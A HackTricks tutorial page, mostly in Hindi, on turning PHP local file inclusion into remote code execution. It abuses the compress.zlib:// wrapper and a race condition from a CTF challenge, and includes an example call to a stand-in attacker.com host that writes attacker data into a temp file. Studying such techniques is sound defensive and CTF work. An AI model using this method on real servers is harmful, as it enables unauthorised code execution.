LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Support HackTricks

compress.zlib:// और PHP_STREAM_PREFER_STDIO

compress.zlib:// प्रोटोकॉल का उपयोग करके खोला गया एक फ़ाइल, PHP_STREAM_PREFER_STDIO ध्वज के साथ, बाद में कनेक्शन पर आने वाले डेटा को उसी फ़ाइल में लिखना जारी रख सकता है।

इसका मतलब है कि एक कॉल जैसे:

file_get_contents("compress.zlib://http://attacker.com/file")

एक अनुरोध भेजा जाएगा जो http://attacker.com/file के लिए होगा, फिर सर्वर इस अनुरोध का उत्तर एक मान्य HTTP प्रतिक्रिया के साथ दे सकता है, कनेक्शन को खुला रख सकता है, और कुछ समय बाद अतिरिक्त डेटा भेज सकता है जो फ़ाइल में भी लिखा जाएगा।

आप इस जानकारी को php-src कोड के इस भाग में main/streams/cast.c में देख सकते हैं:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

यह CTF पिछले ट्रिक का उपयोग करके हल किया गया था।

हमलावर शिकार सर्वर को हमलावर के सर्वर से एक फ़ाइल पढ़ने के लिए एक कनेक्शन खोलने के लिए मजबूर करेगा compress.zlib प्रोटोकॉल का उपयोग करते हुए।

जबकि यह कनेक्शन मौजूद है, हमलावर अस्थायी फ़ाइल के पथ को बाहर निकाल देगा (यह सर्वर द्वारा लीक किया गया है)।

जबकि कनेक्शन अभी भी खुला है, हमलावर LFI का शोषण करेगा जो अस्थायी फ़ाइल को लोड करता है जिसे वह नियंत्रित करता है।

हालांकि, वेब सर्वर में एक जांच है जो <? वाले फ़ाइलों को लोड करने से रोकती है। इसलिए, हमलावर रेस कंडीशन का दुरुपयोग करेगा। उस कनेक्शन में जो अभी भी खुला है, हमलावर PHP पेलोड भेजेगा AFTER वेब सर्वर ने जांच की कि फ़ाइल में निषिद्ध वर्ण हैं लेकिन इससे पहले कि यह इसकी सामग्री लोड करे

अधिक जानकारी के लिए रेस कंडीशन और CTF का विवरण देखें https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Support HackTricks

Last updated